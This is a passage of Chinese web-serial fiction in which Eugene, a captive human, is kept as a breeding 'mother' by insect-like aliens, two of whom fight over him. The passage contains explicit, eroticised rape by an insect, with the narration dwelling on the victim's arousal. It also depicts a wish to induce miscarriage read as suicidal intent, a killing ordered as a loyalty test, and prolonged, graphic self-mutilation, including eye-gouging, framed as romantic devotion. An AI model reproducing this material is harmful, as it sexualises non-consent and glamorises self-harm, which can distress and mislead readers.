脑内各种尖叫与嘶鸣混乱交织,最终又归于一片空洞的白噪音,他什么都听不清了。
疲惫如潮水淹没理智。
尤金感到这具异端的身体开始背叛意志,被动迎合,甚至无意识地微微张口,容纳那作乱的触腕更深侵入。
黏腻的气息越发浓烈,他陷入了一种诡谲的亢奋里,仿佛整个人都浸泡在浓稠污浊的泥潭中沉溺。
最令他恐惧的,是心底悄然升腾起的一丝欢愉。
孕激素和虫蜜的麻痹效果双双发力,一股让清醒时的尤金毛骨悚然的“快乐”,正如同缓慢而致命的毒素,缠绕上他的脑髓,试图侵占宿主最后的精神高地。
而属于“尤金”的那部分,节节败退,摇摇欲坠。
“妈妈,妈妈……”
身后的紫眼工蜂将触肢换成了更为狰狞的生殖腕。全力侵入时却猛地一顿,随即爆发出烦躁至极的高频震颤。
他发现自己无法将卵注入母体。
任他如何抱着尤金往里钻,变幻着姿态勒着尤金的胸膛,急躁地发出尖锐频率的声波都无济于事。
这是当然的。
尤金已然怀孕,他的孕囊在此前就已经被塞得满满当当,毫无空隙了,又如何能接收后面放来的东西?
雄虫们想要为他注入新的,就必须等他生育之后。
按理说意识到这点,以繁衍为目的进行交尾的雄虫就该离开了,可死死箍着尤金的这只工蜂却偏不肯。
意识到无法令尤金受孕后,极度的躁郁淹没了他。
他竟然放弃了繁衍的天性,转而死死紧箍着尤金,纯粹的、执拗的、一遍又一遍地重复着侵入与占有的动作。
仿佛这样就能将自身融合进母体的每一寸血肉里。
他宛如退化成了只懂索取的野兽,甚至放弃了将未能注入的卵妥善保存,毫不在意地由着它们一颗颗滚落在地,砸碎成粘稠的透明液体。
……
尤金恍然以为自己在跟同类发生着关系。
毕竟在所有的已知的自然生物中,只有人类之间的性行为不完全是为了繁衍本身,而是单纯地寻求心理上的刺激。
然而。
就在他的意识在泥淖中越陷越深时,不远处,异变突生。
一道凌厉的破空声骤然撕裂了室内黏腻的空气,漆黑锋利的前肢镰刀一般,以迅雷不及掩耳之势,狠狠劈向尤金身后那只忘乎所以的工蜂!
“滋啦——”
工蜂猝不及防,鞘翅上被划开一道深深的裂口,墨色的血液飞溅。
剧痛和被打断的暴怒让他发出一声尖锐的嘶鸣,瞬间将注意力从尤金身上转移。
是爱尔文。
一直死死盯着尤金,颤抖着压抑自身的爱尔文,终于在工蜂的触腕尤其粗暴地勒紧尤金腰腹时动作了。
却不知为何不是本能地冲向尤金,去和此时散发着甜腻气味的虫母交尾。而是攻向了与他有着相同基因的虫子。
封闭的空间中,两只高阶虫族展开了最原始野蛮的搏杀。
鞘翅碰撞,节肢挥舞出残影,信息素混合着血腥味,狂暴地炸开。
房间内精致的器皿噼里啪啦地碎裂,墙壁上也留下了深刻的划痕,瞬间沉浸在了你死我活的斗争中。
这场突如其来的混乱像一盆冷水浇在尤金混沌的头顶。
“唔……”
他闷哼一声,从几乎令人沉沦的感官漩涡中挣出几分清明。
身体深处,被粗暴撤离的麻木感和剧痛交织,却也让他涣散的眼神重新凝聚起微弱的光。
逃。
这个念头如闪电般钻入脑海。
他无视了下身狼藉的黏腻和瘫软的四肢,用尽刚刚恢复的一丝力气,手脚并用地向远离战场的角落爬去。
墨色的发沾满了各种液体,湿漉漉地贴在光裸的脊背和脸颊,几缕发丝粘在失色的唇边。
他的身体因持续的使用和惊吓,而泛着轻微的薄红,尤其是被反复针对的髋骨和胸口,痕迹斑驳,在昏暗的光线下呈现出一种被彻底玷污的惊心动魄的艳丽。
然而那张苍白汗湿的脸上挣扎着浮现的,却是与截然不同的屈辱与决绝。
眼瞳深处摇曳着不肯熄灭的冷火,竟给这具饱受虐待的躯体笼罩上一层诡异而破碎的神性。
仿佛一尊被拉下神坛,沾染污秽却依旧不肯凋零的玉像。
可他刚刚爬出不过几步。
身后,那只有着紫色眼睛的工蜂在搏斗的间隙,复眼猛地锁定了试图逃离的母体。
对交.配权的争夺瞬间被更本能的,对母体脱离掌控的恐慌和积怒压倒。
“妈妈!”
他发出一声混合着怒意和急切的嗡鸣,竟不顾爱尔文挥来的利刃,背后硬生生承受了一击,借着冲击力张开翅膀飞向尤金。
黑影闪过,他从后方扑下,再次将刚刚获得一丝喘息的人类母亲压制住,埋首在他的身上嗅闻。
“不……”
“滚开……”
尤金嘶哑抗议,胸膛
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徒劳地起伏。
可比之前更深的胀痛和冲击让他眼前发黑,几乎同时,他瘫倒在了地上,再提不起一丝力气。
局势陡然回到了之前。
这次更加要命,尤金感觉自己快昏过去了,紧绷中,他又隐隐感应到肚子内部传来一阵蠕动。
虫卵也不甘示弱地散发着自己的存在感,对母亲打着招呼,同时释放着不满的信号,仿佛抗议于尤金险些又拥有别的孩子的行为。
这些虫子生出来就是克他的。
尤金麻木地想。
但他还是绝望的太早了。
他侧头往旁边一望,发现刚刚还跟工蜂打得有来有回的爱尔文不知道什么时候又定在那里了。
这一次他没有再攻击工蜂,而是嘶声喘息着,摇摇晃晃,一步一步走了过来,伏在尤金的身侧。
冰冷的带着锯齿倒刺的口器颤抖着,他急切地舔舐着尤金汗湿的颈侧、肩胛,以及被工蜂碰撞得晃荡不断的头发,仿佛要用这种方式留下自己的气息。
前有工蜂的围堵侵占,后有爱尔文的痴迷拦截。
尤金像一块被争夺的甜美糕点,被彻底困在危险的虫族躯体之中。
他逃脱不开,连呼吸都因为起伏而支离破碎。汗水、唾液、虫蜜,各种粘液混合着,将他彻底浸透。
他艰难地喘息着,一只手无意识地捂住自己的微微隆起,此刻正在承受着内部和外部双重拉扯的小腹。
混乱中,思绪如同流星般掠过脑海,过往的屈辱、孕期的折磨、打胎的决心,以及此刻的绝望。
无数画面碎片交织,又在这一片空白的窒息中,归于虚无。
还有什么办法?
还能怎样?
就在此时,一股极端冰冷的狠戾骤然压过了所有的恐惧与羞耻,从尤金昏沉的眼底深处窜起。
既然逃不开,既然注定要被……
他蓦然停止了无谓的挣扎。
在工蜂又一次深深刺入,爱尔文的舔舐游离到肩头的瞬间,尤金借着被拱起的力道,松了劲主动向后仰去。
染着水与光与痛色的双腿,竟当着两只虫族的面,以一种缓慢而清晰的姿态,彻底地、近乎挑衅地——
大大地分开了。
这个动作充满了悖论的意味。既是承受,也是邀请,既是崩溃,也是反击。
他扬起湿漉漉的脖颈,苍白的脸上浮现出一种近乎妖异的冷笑,看向身上疯狂低鸣的工蜂。
沙哑的嗓音像是雕刻出来的冰刃,他一字一句,掷地有声:
“好,好,给你们又怎样?”
“不是想要吗?”
“来啊……”
“有种……就干到底……”
“把我肚子里这恶心的东西……给我弄碎弄烂,弄死!”
“要是做不到……”
他喘息着,一缕缕的发丝贴在额角,眼神却亮得骇人,里面燃烧着幽灵般黑色的火焰,“……你们就等着,被钉在耻辱柱上吧,无能的,卑劣的废物们!”
宛如一朵释放出致命诱惑的毒花。
尤金将自己献祭于这场由他亲手推向的,黑暗深渊般的暴行中。
他多半是疯掉了。
早在这之前,在遥远的过去,在降临到这个星球的那刻起,就已经彻底崩坏掉了。
意识到自己多半不正常后,尤金忽然感到了轻松。卸下了沉重的枷锁,他漆黑的眼眸中流露出一丝奇异的神采。
“来。”
他歪头微笑,又一次邀请道,“让我们庆祝即将到来的流产。”
12.Chapter12
因为尤金的话,房间里陷入短暂的死寂。
水声和虫子们翅膀的高频嗡鸣声在旖旎的空气里回荡,紫眼工蜂的动作停顿了一瞬,随后复眼中的光芒疯狂地闪烁着。
爱尔文的舌尖却停止了舔舐,节肢悬在半空,犹疑地望着引诱他们的母亲。
“不来吗?”
尤金脸上绽放出妖异的笑。
汗与泪混合着,沿着他苍白的脸颊滑落,在锁骨处汇聚成微小的水洼。
墨黑的发丝湿漉漉地贴在额角,脖颈,几缕粘在微张的唇边。
原本失去血色的唇因激烈的交缠泛起不正常的嫣红,被碾碎的玫瑰花瓣似的,溢出了甜美的汁液。
尤金状态绝算不上好。
他的胸口到腰腹布满了深浅不一的痕迹,那是工蜂的触腕,口器尖齿,和指尖的抓握留下来的。
最触目惊心的是髋骨两侧,那里的皮肤被反复碾压过,几乎成了青色。
尤金对此却全然不顾了。
仰起脖颈,他整个人浸泡在自身与虫蜜混合的液体中,墨发皓肤,深眸嫣唇,构成了一幅堕落又神圣的诡异画卷。
直视着身上那只工蜂,他挑衅地抬了抬下巴:“愣着干什么?还是说你无能到连侍奉虫母的本职工作,都要人催着才去做?”
紫眼工蜂被彻底点燃了。
他发出一声尖锐的嗡鸣,覆盖着甲壳的躯体因激动而越发膨胀,堪称钳制地扣着尤金的腰腹,迫不及待就想钻进他的孕囊。
在这一点上,听从尤金命令的他当然是个不折不扣的好孩子。
尤金几乎预见了自己肚子中的那东西被挤碎挤烂,一团一团流出来的惨烈景象了。
还未成型的卵壳会一片一片破碎,血红的胚胎粘连着流动出来。
他只需要张开腿。
就能迎来一场期待已久的流产。
尽管这具身体会痛不欲生,甚至昏死过去,可尤金保证,那时候他感到最多最强烈的情绪,一定是痛快淋漓,畅快无比。
他将解脱。
“好孩子,好孩子,再深些……”
尤金温柔而愉悦地笑着:“就是这样,你做的很好,真乖……”
他不断下沉,沉溺在自己的幻想中不肯出来,极度的兴奋让他连喘息都变得真心实意了起来。
尤金拼尽全力地张开自己。
一反常态地,他口中主动发出了鼓励般美妙动听的声音,疯狂而极端地接纳着身体上,这只完全虫化的巨大怪物。
怪物?
不。
至少在此刻,这只正在吞噬他的紫眼工蜂是骑士,是救世主,是为尤金带来希望和新生的,奇迹般的存在。
尤金闭上眼。
他在闭目等待,等身下流出罪恶的血,等腹腔中那个即将降生,唤他母亲的生命就此消散。
可忽的!
光芒闪过,工蜂那埋在他身体各个部位的触腕,竟瞬间被镰刀一样的黑色物质齐齐斩断了!!
断口的血液齐溅,工蜂发出了一声高频的尖啸,那刀口锋利无比,赫然是侧方爱尔文褪去拟态化的前肢所为。
同一时间,属于爱尔文的节肢一根根探了出来,它们迅速缠绕上工蜂的鞘翅、甲壳、腹足,将他彻底捆缚,动弹不得。
随后,猛地一拉。
“嗤——”
黏腻的水声响起,那作乱的生殖腕竟被强行从尤金体内扯了出来。
尤金浑身一颤。
他双腿痉挛,大量混合着虫蜜与透明的液体从连接点涌出。
仰头张嘴,喉中发出大口大口压抑的喘息,尤金整个人已然脱力,瘫倒在地。
好半响,他才从刚刚极致的虚幻里抽出一丝清醒,身体微微挣扎,扭过头颤抖着睫毛去看虫子那边。
“爱尔文!爱尔文!”
工蜂数次被他打断,已然愤怒到了极致,堪称咆哮地散发出了强烈的攻击信号。
此前他从没有想过,母亲会这样配合他,用着那样动听的声音呼唤他。
他们的灵魂仿佛交融在了一起,发出了前所未有的共振,像爱侣,像情人。
那一瞬间,整个世界好像只剩下了他们彼此,心跳,呼吸,血液,脉搏,全都同步了起来,再不会有如此默契的时刻了。
可是爱尔文!
他竟敢又一次的打断他们,妨碍着他回归母亲的身体,和母亲的结合。
“去死!”
工蜂胸腔中传来低沉的嗡鸣,甲壳高速摩擦的声音响起,他六条触肢飞速再生,深深扣入地面,背部角质层裂开细缝,源源不断渗出带有腐蚀性毒素的虫蜜。
他率先发动攻击,坚硬的身躯爆发出违反常理的弹射速度,腐蚀性雾气在身后拖出一道惨白的轨迹。
前胸加厚的甲壳瞄准爱尔文的中段,黑镰螳螂族身体衔接最脆弱的部分,工蜂就这样径直冲撞了过去。
爱尔文没有退。
他在最后一瞬侧身,镰刃顺着冲势向上撩起,瞬时间,刺耳的刮擦声炸开,火花与甲壳碎片一同迸溅。
两只雄虫各有损伤。
他们相互拉开距离,在这片黑暗中彼此遥遥对峙着。
爱尔文静立在对侧。
黑色镰刃前肢缓缓展开,刃缘在昏暗光线下流动着冷硬的金属光泽,强大的再生能力正在快速修复着损伤的部分。
可此时,他复眼中万千个晶体锁定着的生命体征,不是与他敌对的工蜂,而是那从刚刚开始就沉默不语的尤金。
“妈妈。”
他平静地呼唤道,“您刚刚,是想死掉。对吗。”
尤金愣了片刻。
他随即发出一声讥讽的、近乎混乱的笑:“哈,哈,你可真会说话……”
“……”
爱尔文复眼闪烁,看向尤金的眼神有些许的迷茫。
他们隶属于不同的物种,基因和生理上的不同注定他无法理解身为人类、情感充沛的尤金因为什么而伤心难过。
母亲不想做他们母亲,这简单的理由对他来说却太为复杂了。
在虫族的意识当中,母亲是伟大的,神圣的,崇高的,享受所有雄虫们虔诚的侍奉是理所当然的。
如此至高的母亲,自然不存在任何他该感到痛苦难受的地方。
毕竟世间所有令他不悦的人或物,都会被侍奉着母亲的他们而抹杀殆尽。
尤金,他们的母亲只需要繁衍就好。
首先生下每个领主的子嗣,为族群孕育出最高阶的继承人,随后根据自己的喜好选择伴侣,雄侍,奴仆。
如果面临拥有功绩的雄虫们的求爱,也可视情况而接受或拒绝。
只要繁衍不断,没有雄虫会过多为难于他,因为没有雄虫舍得这么做。
可刚刚……
在爱尔文自身极度动情,难以自持,近乎要同那工蜂一同失去理智的时候,他忽而闻到尤金身上散发的极致绝望的气味。
他像是隐隐约约地明白了。
母亲想就此死去。
想要杀死肚子里的生命是假的,他自己想要死去才是真的。
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这个认知带来的震撼,甚至暂时压过了爱尔文肉身的饥渴与对回归母体的渴望。
他僵立这片黑暗中,复眼中似乎有截然不同的火焰在碰撞。
虫族的文明,是生存与繁衍的无休止的进化,是基因深处理下的绝对律令。
它直接、高效、生生不息,奉行族群至上的信条与准则。
但人类的文明……
人类文明,却并非总是直线式推进,他们常常在毁灭与创造、死亡与新生之间反复艰难地挣扎着,不断重演着相似的历史。
然而他们短暂如蜉蝣的个体生命中,却可以孕育出超越物种生存本能的东西:譬如信仰,尊严,气节。
母亲想死。
不是因为他脆弱,也不是因为他无法承受孕育的辛苦。
恰恰相反,正是因为他灵魂深处属于人类的那一部分仍然在苦苦支撑,让他无法接受和容忍自己沦为纯粹生育的容器。
爱尔文的镰刃微微垂下。
他看向尤金。
他们的母亲所呈现的,是一种玷污和极致美丽的矛盾状态。
像慌乱间被人失手打碎的精美玉器,裂痕中渗出诱人的蜜液,散发着浓烈到几乎凝成实质的甜腻味道。
腿间,由于无法塞入,无数透明的卵球从他的髋部掉落得满地都是,有些被压碎成了一滩,有些还沾染在脚趾,发间。
他是如此脆弱不堪。
光是过度折叠的腿,就足以让他瘫软在地上半天直不起身,每一根手指都发软,无力,不听使唤。
可同时,他又是如此耀眼。
哪怕在场的除了他以外全是虫族,是不懂审美的异种,也发自内心地无法将视线从此刻的尤金身上移开。
那是一种超越了信息素与基因召唤的牵引,而是更加纯粹,又更加原始,更加野蛮的性吸引力。
爱尔文轻声道:“妈妈,您不可以死去。”
尤金漠然地审视着他,淡淡道:“用不着你来告诉我。”
爱尔文摇了摇头:“我只是想提醒您一个生理事实:如果您通过非自然的方式杀死您体内的虫卵,那么哪怕您有万分之一的可能没有死去,您也将会被族群定义为排斥性繁衍。”
“在下一次受孕时,您腹中被塞入的卵的数量将会以复数增长。”
他补充道:“本次您怀有一颗卵。如果它被破坏,下次您会怀上两颗。再下次,会是四颗。以此类推,直到您的身体无法承受。”
房间陷入死寂。
尤金卧躺在地毯上,墨发散开,脸色苍白如纸。他盯着天花板,许久才轻轻吐字:
“那你来告诉我,我该怎么做?”
“我到底要怎么做,才能摆脱你们这群烦人的东西?你这样冷静聪明,一定能想出办法……为什么沉默?你为什么总是这样?总是忤逆我!不听我的话!”
他情绪愈发激动了起来,到最后几乎是捂着肚子直不起腰了,豆大的汗珠往下掉着,或许其中还掺杂着晶莹的泪。
“你帮不了我,偏偏还阻拦着我,真是坏透了的一个家伙……”
紫眼工蜂被他脸上的哀色吸引,拟态渐渐恢复了一部分,踌躇不安地往他的方向踱步。
爱尔文喉结上下滚动,他轻声说:
“我可以帮您。”
见尤金泪眼朦胧地望来,他又重复了一遍,这次声音更加清晰:“我用我的生命发誓,我可以帮您,为您得到想要的一切。”
“所以……请不要再哭泣了。”
“妈妈。”
13.Chapter13
当夜,尤金久久不能入眠。
他眼睛一闭,就是爱尔文脸上的神情。后者注视着他,恍然间,犹如在看一朵饱受折磨而久不绽放的花,眼底的光像是日月,雨露,奢望着能够帮到他。
“你?”
尤金撑地起身,任由爱尔文缓缓走来,用拟态出的人类宽大的指骨捧起他的脸,为他拭去上面的水痕:
“你也是虫,是诸多异种中的一员,怎么有胆量说出这种话来?”
“因为。”
远比他要高大的雄虫停留在近在咫尺的距离,垂眸与他对视,“比起成为族群里千万战士中的其一,我更想单纯地,做您身边独一无二的近侍。”
“只有被您注视着,我才能感受到诞生于世的意义,真正地活着。”
“母亲。”
他虔诚地说:“利用我吧。我将成为您手中的刀剑,您身前的盾牌,您身后的影子,您脚下的基石。”
虫族并不轻易宣誓。
宣之于口的誓言,对他们这种长生种来说是相当重要的约束,一旦许诺,除非死亡,否则绝不背弃。
爱尔文对尤金的承诺同样如此。
他不知道自己为什么会这么果断……几乎是在看到尤金蜷缩的身影,流泪的双眸后,不假思索就脱口而出了。
这很奇怪。
不符合他一贯的理智。
虫母的理想注定艰难,道路也必将荆棘密布:因为他们年轻的母亲,想要的从不是那些明码标价的宝物,而是滚烫的鲜活,纯粹的自由。
爱尔文清楚这一点。
他深知身为雄虫的自己绝不该、也没资格自私地去将他们好不容易捕获的虫母放走,解开枷锁,归还尤金此身的清白。
于族群而言,这是背叛。
他该被判处死刑。
或许凌迟,或许绞刑,最终他都会被所有渴望圈养虫母的同族所不容。无数恶意将在顷刻间降临至他身上,无情地审判着偷走众虫唯一母亲的罪人。
爱尔文几乎可以预见这即将到来的场景,这并不艰难。
可他就是这般说了。
没有半点犹豫与迟疑,仿佛他本就该如此,理应如此。
“母亲,妈妈。”
捧着尤金脸庞的那双手微微颤抖,漆黑的怪物携带着无尽的爱意摩挲,用双唇代替了指腹,亲吻着尤金带有吻痕的脸颊:
“请您爱我。哪怕您给予我的,只有我爱您的亿万分之一,也请您爱我吧。”
“如此,我便能生出无数为您而战的勇气。”
他与尤金对视。
两人从彼此的瞳孔里看到了自己的倒影,一双是虫子冰冷幽深的复眼,一双是人类清澈忧郁,含泪的眼眸。
爱尔文最先败下阵来。
俯身,他轻轻在尤金唇上落下一吻:“您无需给予,无需付出,无需爱谁。”
哪怕没有爱也没关系。
他什么都会做的,只要是尤金的愿望,只要能让母亲停止悲伤,不再散发浓郁的,腐朽般痛苦的气息。
……
尤金静立不动。
没人能在历经无尽折磨后,还有余力去信任伤害自己的怪物,除非此人可悲地患上了斯德哥尔摩综合症,以囚徒的身份爱上了残忍的绑匪。
尤金确信自己不属于此类。
因为此刻的他足够清醒,心底对这些异种的敌意也从未消减。
难道怪物摇身一变,做出善良的模样说些安慰效忠的话,受害者的人类就必须为此感恩戴德吗?
虚伪透顶。
尤金捏紧手指,他笃定这些可怖异种在背后藏着更恶毒的算计:例如故意让他放松警惕,趁虚而入,而后在合适的时机反戈一击,将他打得更碎更彻底。
他想冷笑,想狠狠挥开爱尔文的触碰。
可目光触到对方眼底的瞬间,他却出乎意料地被那抹纯粹到极致的色彩震慑住了。
爱尔文。
他竟是认真的。
尤金缓缓阖眼,指尖微蜷,评估着这份忠诚背后的真伪。
“好啊。”
片刻后,他抬手,指尖转向一旁的紫眼工蜂:“以表忠诚,你替我杀了他。”
“此刻,就在这里。”
尤金的声音平静得可怕,那双含泪的眼眸此刻只剩下漠然的审视,指向工蜂的指尖没有一丝颤抖:
“你刚也看到了,这只工蜂侵犯了我。无视我叫停的声音,依旧肆意妄为,其罪不可饶恕。”
“爱尔文,如果你杀掉他,那我将认同你的行为是对我的维护,在接下来的日子里允许你以近侍的身份,继续留在我身边。”
“证明给我看。”
爱尔文的眼神没有动摇,仿佛尤金只是让他去倒一杯水那样简单。微微躬身道:“当然,我亲爱的母亲。”
话音刚落。
爱尔文周身散发出一道凌厉的攻击信号,拟态的人类外表如剥落的墙皮般碎裂,露出底下漆黑狰狞的虫族本体。
他的身形比先前高大了一倍,甲壳在幽暗的光线下泛着金属般的冷光,复眼中闪烁着危险的杀意。
作为黑镰螳螂一族的佼佼者,爱尔文的攻击力在整个族群也不容小觑。
高阶虫族的实力各有侧重,而工蜂以突刺见长,速度虽快,在这狭小的房间里,不会是爱尔文的对手。
爱尔文摆明了要除掉这个亵渎母亲的罪人,一如上次将维斯珀检举进审判区那般,势必要让每个伤害尤金的家伙付出代价。
而那只工蜂。
他早在之前,尤金跟爱尔文贴在一起时神色就已经完全冷了下来。
静静站在原地没有动,工蜂的复眼痴痴地盯着尤金,随后沉默地转向爱尔文,紧接着又回到尤金身上。
他本能地感觉到两人之间流转着一种无声的默契,那是一种近乎排他的、不容他人介入的氛围。
紫眼工蜂安静地注视着,脸上没有什么表情,只是无意识间身下又渗出一大滩带着腐蚀性气味的虫蜜。
他那属于虫族的,原始的思维结构难以理解眼前的一切:为什么母亲刚刚还与他痴缠不休,转瞬之间,就与另一只雄虫构建起将他隔绝在外的世界?
还下令杀死他。
杀死……
一种无从言说的烦躁在他意识深处扎根,蔓延,这情绪无处倾泻,却鼓噪着破坏的冲动,让他几乎想撕碎眼前所见的一切。
他艰难地抬头,试图从母亲脸上寻找答案,却直直撞进尤金那双无温度的眼睛里。
此刻的尤金与刚刚和他痴缠时完全判若两人了,之前有多么温柔投入,现在就有多残忍疏离。
仿佛和他交尾的母亲变成了另一个完全不同的存在,看向他的目光就像在看一个素未谋面的陌路人,毫无波澜。
可陌生人?
他们怎么会是陌生人呢?
他们明明才那样紧密地相拥过,肢体交缠,呼吸相融,他甚至还能感受到自己的卵尚且留在母亲的腿间,残留着温热的连结。
“妈妈……”
这声呼唤里浸满了不安,像一个被遗弃的真正的孩子,无助地向唯一的光源伸出手。
工蜂几乎是凭着本能去摸索取悦母亲的方式,狰狞的甲壳层层褪去,他重新拟态出人类男性的形貌。
他甚至学着人类那样微微蹙起眉头,用一双湿润的紫眸,受伤地望过去。
如果忽略他过分高大的身形,单看那张脸与情态,这分明是个清秀又无害的少年。
他犹豫地向前挪了半步,直而长的睫毛颤了颤,声音轻得像是怕惊扰到什么:
“您讨厌我了吗?”
停顿了一下,他乞求又委屈地小声补充道:“可您之前说过,如果我们选了与您交尾,那么您会奉陪到底的,这是您说的,妈妈,您忘记了吗……”
尤金面无表情地看着他。
“您……”
工蜂的声音越来越小,几乎是忐忑不安了:“您对我跟对别人不一样,比对兄弟们都要好。您只打我,只骂我的呀?还散发那样好闻的味道,这难道不能证明我是您最喜爱的孩子吗?”
他无视了爱尔文隐隐的攻击姿态,急切地向前走了一步:“爱尔文能为您做的,我也能做到!我对您的爱不比任何人少!!”
说到最后,他堪称哀求了:
“您不要选别人好不好?”
尤金依然沉默。
这比任何言语都更伤人。
工蜂的眼中闪过一抹深深的失望,他低头看着自己的双手,那双手在拟态下与人类无异,却能随时伸展出用来固定伴侣的触腕,正是这些器官让尤金痛苦,让他厌恶。
他抬头,紫眸中倒映着尤金冷漠的脸,喘息着道:“要我死也可以。”
“但还请您,直接对我下令,而不是要其他的雄虫来杀我。”
这样说着,他却不等尤金命令,直接开始了惨烈的自我肢解。
第一片甲壳被硬生生从肩部撕下,
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发出了令人牙酸的撕裂声,深色的血液喷涌而出溅在狼藉的地面上。
他没有停止,继续用拟态出的手指扣住另一片甲壳边缘,用力撕扯。
剧痛让他的身体剧烈颤抖,但他强忍着再生的本能,不让伤口自主愈合。
很快,他的左肩和手臂变得血肉模糊,破碎的甲壳碎片散落一地。
接着,他用沾满鲜血的手指抠进自己腹部腺体的位置:那里分泌着粘稠的蜂蜜状物质,正是先前沾满尤金全身的东西。
他狠狠地挖出一大块半透明的胶状物,扔在地上,仿佛那是什么肮脏的东西。
“您不喜欢,您不喜欢。”
“这里、这里、您都不喜欢!那我就把它们丢掉,都丢掉!!”
还有生殖腕。
那是之前侵犯尤金的主要器官,也是他痛苦的根源之一。
此刻那些可怖的,带有吸盘和倒刺的深色腕足正因主人的剧烈情绪和严重伤势而无力地低垂着,微微卷曲。
工蜂没有任何犹豫,他甚至没有再用拟态出的锋利的指甲,而是直接用双手抓住那几条最粗壮的生殖腕,用尽全身残存的力气向外撕扯,野蛮地连根拔起。
难以想象的剧痛让他痛苦地发出一声短促的闷哼,身体像离水的虾一样蜷缩起来,又强行挺直。
深色的血液和着一些奇异的组织喷溅出来,破碎的腕足残根神经质地弹动着。
“对了,对了。”
他喃喃低语:“还有这双眼睛……”
紫色。
并不美丽,并不迷人的紫,比起兄弟们眼睛的颜色,似乎显得太为平庸了。
工蜂跪在地上,钝钝地抬头,目光最后一次眷恋而用力地描摹尤金的脸,似要将尤金那张深深吸引着他的脸刻进灵魂深处。
抬起沾满粘液和血污的右手食指与中指,指关节微微异化变得坚硬。
他凝视着尤金,嘴角扯出一丝扭曲的温柔笑意,结合他浑身是血的骇人姿态,如同来自地狱深处的狞厉鬼怪。
“挖掉它,它就不会用让您不快的眼神看您了,妈妈会高兴一些吗?”
会的吧。
毕竟尤金所厌恶的,他的一切,他都改掉了,这身躯壳,这双眼睛,以及这肮脏而恶心的生命。
一想到尤金会因为自己的死亡而快乐,工蜂残存的触肢剧烈颤动,喉咙里发出了一阵阵近乎愉悦的疯狂嘶鸣。
好开心好开心好开心!
好幸福好幸福好幸福!!
“妈妈妈妈,您看!我挖掉了!!”
他手心举起了一颗眼球,如同桔梗花一般的紫色虹膜停留于此,瞳孔空洞地对着尤金的方向,死也要看着他们美丽的母亲。
完成这一切,他已然不像一个活物,更像一堆勉强拼凑起来的、破碎的肉块与甲壳残片。
拟态几乎无法维持,少年的表象与狰狞的虫族本体特征可怖地交织在一起,唯有那双被泪水,血污模糊的紫,还执拗地,哀求地,献祭般地望着尤金,等待最终的审判和微乎其微的怜悯。
见尤金不语,他毫不迟疑地抬手,就打算去挖下一颗。
尤金终于动了:“够了。”
工蜂的动作差之毫厘地停止,他抬起头,仅剩的紫眸中燃起一丝微弱的光。
空气里弥漫着浓重的血腥、虫蜜的甜腻和一种生命流失的衰败气息。
尤金迎着他残破的视线,一手扶着墙壁,缓步走上前。
脚尖踩到血泊的边缘,他垂眸,俯视着脚下渴望着他的凄惨造物:
“你想留在我的身边?”
工蜂愣了愣,随后用力点头,血液顺着他的动作滴落。
“保证以后会像爱尔文那样乖巧?”
工蜂再次拼命点头,恨不得把自己的心掏出来的欢欣模样。
听出尤金话语里的含义,身后的爱尔文皱眉,冷眼在工蜂身上扫过:“妈妈,他是个威胁,该杀。”
尤金笑了。
那笑容像冰封的湖面下涌动的暗流,危险又迷人,诡谲又致命。
居高临下地看着匍匐在地的工蜂,尤金用脚尖抬起了对方的下巴。这动作轻柔得不可思议,与他眼中的漠然形成鲜明对比。
“好孩子,你会再一次让我伤心吗?”
“缪可。”
工蜂颤声道,“我叫缪可,妈妈。”
“如果我背叛您,让您伤心,”他低头轻吻尤金裸露的脚踝,“——还请您毫不留情地处死我。”
14.Chapter14
三日转瞬即逝。
朝圣日的清晨,爱尔文捧着一件繁复华丽的宫廷式礼服,无声地步入卧室。
这件礼服并非之前激怒尤金的那种暴露孕肚的羞耻设计,而是以白色缎绸为底,缀以流动的鎏金纹路与冷色宝石,极尽奢华精致的款式。
将礼服放在床边。
爱尔文单膝跪地,轻柔地将仍在沉睡的尤金从床榻上扶了起来。
尤金毫无知觉,身体软绵绵地倚在爱尔文臂弯里,任由近侍先是用温湿的软巾仔细为他擦拭身体,然后将那一层又一层的华服为他穿上。
系紧腰封时,后者手指刻意绕开了那微隆的小腹,避开了他的敏感处。
整个过程,尤金都没有醒来。
他太疲惫了。
孕期异常的激素水平对他的影响远超预期,每日睡眠时长甚至超过十二小时。
有时沉睡得太深,连潜意识的边缘都弥漫着不再醒来的错觉。
这或许也与近期精神接连耗竭有关,困倦如潮水般难以抗拒,身体本能地选择了长久的昏睡来逃避现实的磋磨。
直到一顶镶嵌着暗红色宝石的额冠被轻轻戴在他额前,冰凉的触感和细微的重量终于穿透了沉眠。
尤金的睫毛颤动了几下,缓缓睁开眼:“到时间了吗?”
他声音游离,气息微弱,整个人透着一种瓷器般的易碎感。
爱尔文指尖抚过他眼下的淡青。
那痕迹在过度苍白的皮肤上晕开,形成一种奇异的黛色,让尤金看起来更加病态而孱弱,仿佛一尊精心烧制却已有裂痕的琉璃制品,光影掠过时,随时会消散无形。
“妈妈,您的身体状态在下滑。”
爱尔文斟酌了一下,决定如实告知,“您胸部、肩部、手臂、大腿等多处的肌肉组织正在持续消解,这导致您的体能和负重能力大幅衰退。”
“您会感到越来越容易疲倦,乏力,保持清醒的时间……也会逐步缩短。”
他没有提腹肌。
但他们都清楚,只要尤金继续留在这里,他的肚子将会被持续撑大,腹肌也永远不可能再回来。
事实上不仅如此,尤金的身体正朝着一个既定的方向畸变,越来越接近虫族认知中的真正的虫母,他开始变得娇柔、孱弱、彻底依赖于保护。
曾经握枪持刀磨出的硬茧早已消失,手指变得光滑柔嫩,如同新生。
长期野外生涯风吹日晒留下的粗糙发质,如今却如深潭水藻般乌黑润泽,垂顺光亮。
皮肤细腻得看不见毛孔,所有旧伤暗疾荡然无存。
以上种种,都在表明,属于“尤金”的体征在逐渐褪去。
这不是退化。
或许,从虫族的角度看,这正是一场精心安排的蜕变与重生。
族群不需要他们的母亲具备任何攻击性或自保能力,因为只需一声令下,自会有亿万悍不畏死的战士为他扫平一切。
但同时,他们也绝无法容忍母亲拥有足以挣脱圈养庇护、逃离掌控的力量与敏捷。
正如他们所期望的——
尤金只需存在,只需孕育,周而复始,生生不息。
至于开疆拓土,猎取资源,所有的一切,子嗣们自会为他代劳。
爱尔文提及这些,本意是想提醒尤金,孕晚期的他,在如此之多的拖累下,想要通过朝圣日这天逃离,绝不是一个好的主意。
是啊。
这是谁都明白的道理。
尤金缓慢地眨了眨眼,他从爱尔文沉静的眼眸中看到了自己的倒影:华服加身,珠宝环绕,尊贵无比。
苍白的肌肤被金银丝线衬托着,宛如一尊被供奉在祭坛上的完美造像,无瑕,却也虚无。
这副躯壳让尤金感到陌生。
